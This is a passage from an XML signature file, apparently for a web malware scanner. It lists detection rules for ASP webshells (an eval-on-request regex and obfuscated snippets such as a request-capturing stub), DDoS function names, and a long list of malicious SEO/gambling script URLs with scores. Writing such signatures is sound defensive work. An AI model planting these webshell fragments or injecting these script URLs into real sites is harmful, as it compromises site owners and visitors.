            </ITEM>
            <RULE>
                <ITEM>[^\w](Eval|eval|Execute|execute|Eval_r|ExecuteGlobal).{0,3}(UnEncode|request|Request|session|Request.Item|Request.form|Session)(\(|\[)[^\{\}]{0,22}\)</ITEM>
                <ITEM>^gif89a</ITEM>
            </RULE>
            <ITEM>
                <STR>/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>"D","7","S","O","q","G","j","l","z","4","L","k","m","x","0","c","v"</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>97a103a101a110a116a61a114a101a113a117a101a115a116a46a115a10</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>
                    <![CDATA[
                    <%a=request("x")%>
                    ]]>
                </STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA["&Branch_directory_11&"."&Branch_directory_12&"."&Branch_directory_13&"."&Branch_directory_14&"."&Branch_directory_15&"."&Branch_directory_16]]></STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>==^#~@</STR>
                <NUM>20</NUM>
            </ITEM>
        </WEBSHELL>

        <INFORMATION>
            <ITEM>
                <STR>new Socket(AddressFamily.InterNetwork, SocketTyp</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>DDosAttack</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>Attack_Get()</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>Attack_Post()</STR>
                <NUM>10</NUM>
            </ITEM>
        </INFORMATION>
        <SEO>
            <ITEM>
                <STR>.1188588.com/mb/js1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>1.81949.com/mb/images/style.css</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>23.245.198.139:88/files/style.css</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>255667.com/mb/public/css/style.css</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>51yes.com/click.aspx?id=214346876</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>767002.com/mb/images/style.css</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>8kyule.com/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>94v587.com/include/js/hz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>955947.com/mb/2.css</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>api.discuz.com.de/bet.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>cr88888.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http%3A//www.go0qle.com/zq.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://%77%77%77%2E%62%65%74%30%30%31%2E%63%6F%6D/%61%64/%73.%67i%66</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://%77%77%77%2E%6A%78%31%34%30%2E%63%6F%6D/liu/jc/tzad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://%77%77%77%2e%74%74%72%64%79%2e%63%6f%6d/%73%65%6f/%6c%68/mao/1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://%77%77%77%2e%74%74%72%64%79%2e%63%6f%6d/%73%65%6f/sf/2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://001sx.com/tz/zqad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://0913web.com/cpc3.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://1.81949.com/tj.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://11.988947.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://112.213.126.202/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://162.217.172.14:60/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://184.22.155.137:100/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://184.22.4.27/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://19821024.com/mydown.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://23.245.198.138:88/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://23.245.198.140:88/haha/t.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://23.88.85.201/by/zs.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://23678.net/lh/1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://3.cr88888.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://3.ttleba.com/tj.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://400378.com/boc/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://5vw.net/baidu/liu/js/zz/sc.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://5vw.net/baidu/liu/js/zz/sc2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://5vw.net/baidu/liu/lun/tan.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://5vw.net/baidu/liu/lun/tan2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://61.194.40.116/docs/images/1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://666.sa8999.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://777.sa8999.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://955947.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://966947.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://bc.088234.com/muban/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://bc.2267888.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://bc.255667.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://bc.v5cx.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://billingchn.com/tj.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://chong.moguiruanjian.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[http://count21.51yes.com/click.aspx?id=214346876&logo=12]]></STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[http://count22.51yes.com/click.aspx?id=224783687&logo=1]]></STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[http://count25.51yes.com/click.aspx?id=254751652&logo=1]]></STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[http://count35.51yes.com/click.aspx?id=358243338&logo=1]]></STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[http://count50.51yes.com/click.aspx?id=509346372&logo=1]]></STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://dollar.aiwofacai.com/ll/tz3.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://dollar.aiwofacai.com/ll/tz8.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://down.9uvip.com/2013-1/mydown4.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://enoakley.sy-zy.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://fa57888.com/2014.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://geter.pw/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://gh5.710880.com/j.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://hy.168cnzz.com/cnl/j.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://hy.168cnzz.com/cnz/j.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://info.118tkw.net/hao/2014/new.gif</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://jc.dk90.com/game.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://jfpci.com/51.la.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.3bxc.com/h/h.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.3facai.com/js3.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.3facai.com/xm2.html</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.3facai.com/xm2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.3facai.com/ycx/ch.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.555hhh.com/4.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/116154252.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/15711966.js   </STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/15711967.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/15885296.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/16235822.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/16666327.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/16670068.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/16688518.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/16767843.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/16936002.js   </STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/17138832.js </STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://js.users.51.la/1966.js       </STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://liii.us/3.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://live.huangguan.co/qz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://ly.sinacnzz.com/qq/qq.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://ly.sinacnzz.com/yx/y.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/22.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/3.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/b.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/m.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/mz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/ooppoo888.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/3/plc.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/a/9.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/k/bb.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/k/offlinebcwr.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://mc.127.cc/tongji/k/offlinebcxa.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://money.ons72.com/liuhecai/js/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://n.xxtdata.com/js/tj.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://n.xxtdata.com/js/v2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://ok.ko699.com/baidu/liu/key/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://oppoo.pw/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://price.un.zhuna.cn/room.gbk.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://qianlai.cc/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://se.52hijack.com/jc/out.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://se.52hijack.com/jc/outs.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://seo.no93.com/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://sm.49wl.com/51.la.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://static.aoosou.com/v1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://sy.e7q0.com/qq4923600/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://sy.e7q0.com/qq4923600/zs.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://syw.i11.cc/qq4923600/zs.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.1990seo.com/bc.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.1990seo.com/mb/bc2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.cn/8FUS3lF</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.cn/8FmDqJk</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.cn/zRKYOXI</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.cn/zRxuwns</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.hz600.com/t.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://tz.yuedw.com/sy/6.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://url.cn/RJAXT4</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://v.4355v.info/a/main.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://v.ijsdata.com/js/tj.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://v.ijsdata.com/js/v2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.0012888.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.001sx.com/tz/zqad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.0034888.com/tj.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.068899.com/js/ad2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.077399.com/bctiaozhuan/zq2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.088456.com/muban/tj.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.1188588.com/mb/js1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.118jf.com/cqad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.1233321.com/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.2267888.com/mb/js2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.255667.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.259ons.com/bai/azjs/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.282283.com/qq/qq.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.333233.com/tz/666.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.334335.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.400378.com/boc/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.400378.com/liuh/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.4399555.com/xxt2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.45888888.com/cai/g.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.45888888.com/cai/l.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.494333.com/js/ad2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.502178.com/fa/tzad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.502178.com/pan/tzad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.502178.com/xh/tzadmin.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.5130555.com/js/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.54bao.com/okok808.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.552577.com/tj.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.55567888.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.55html.com/lh/1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.55html.com/md/1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.55html.com/pf/10.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.56568.org/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.56970120.net:8081/mb/js/ad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.577d.com/x.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.598222.com/722700.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.59wu.com/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.64266.com/seo/asp.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.734333.com/js/ad2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.770138.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.777656.com/1/123.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.7956789.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.7bcpj.info/51.la.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.7bcpt.info/51.la.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.7pkw.info/51.la.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.7xjqp.com/51.la.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.7zryl.com/51.la.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.800281.com/bjl/zs.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.81949.com/ddm/lhc.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.81949.com/ddm/lhc2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.81949.com/ddm/tyc.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.81949.com/ddm/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.878388.com/js/ad2.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/0.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/520799.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/776600.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/d.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/ooppoo888.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/sjb.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/sjb1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/3/ym.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/k/9.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/k/bb.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/k/d.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/k/offlinebcwr.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/k/offlinebcxa.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888qx.com/smalltongji/k/onlinebckd.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.888888seo.com/seo/a.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.8kyule.com/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.91672.com/js/a1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.94v587.com/include/js/hz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.955947.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.980970.com/098h/qige.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.980970.com/qige/qige.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.988947.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.99u2.com/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.9shici.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.aa789.cc/456.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ake88.com/fc/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ake88.com/jr/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.aobo777.com/ad/t.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.aomenxinpujing.pw/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.aqqing.com/cpa/ons.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.aqqing.com/link/link.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bao-ship.com/tz/zqad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bbgfw.com/tz/tzad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bbgfw.com/wbtz/tzad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bbgfw.com/wstz/tzad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bc333.info/a.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bcka.pw/51.la.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bclk.pw/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bcwz.pw/51.la.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bczxw.pw/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bet365bjl.pw/51.la.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bobaopen.net/tongji/fckzx.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bobaopen.net/tongji/hgdedelx.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bosidao.pw/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.bsjyulecheng.com/z/tzad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.cc0777.com/mb/bc.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.cc0777.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.cc0777.com/tj.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.cfgsw.com/dl/tzad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.com88888.com/408888.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.com88888.com/82888.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.com88888.com/89955.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.de88.net/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.dfmz123.com/cai/cai.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.dubaicai.com/tz/k.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.duyiba.org/js/bc1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.e23069.com/js1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.e23069.com/js1.js   </STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.fa56888.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.fcssqw.com/cai/l.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.go0qle.com/zq.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.handanrcw.com/ii/uu/tz1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.handanrcw.com/tz1.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.hbyicheng.com/00448/fcm.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.hbyicheng.com/66671/fcm.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.huashi119.com/0401.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.huashi119.com/am.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.huashi119.com/dedecms.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.huashi119.com/hg.js</STR>
                <NUM>70</NUM>
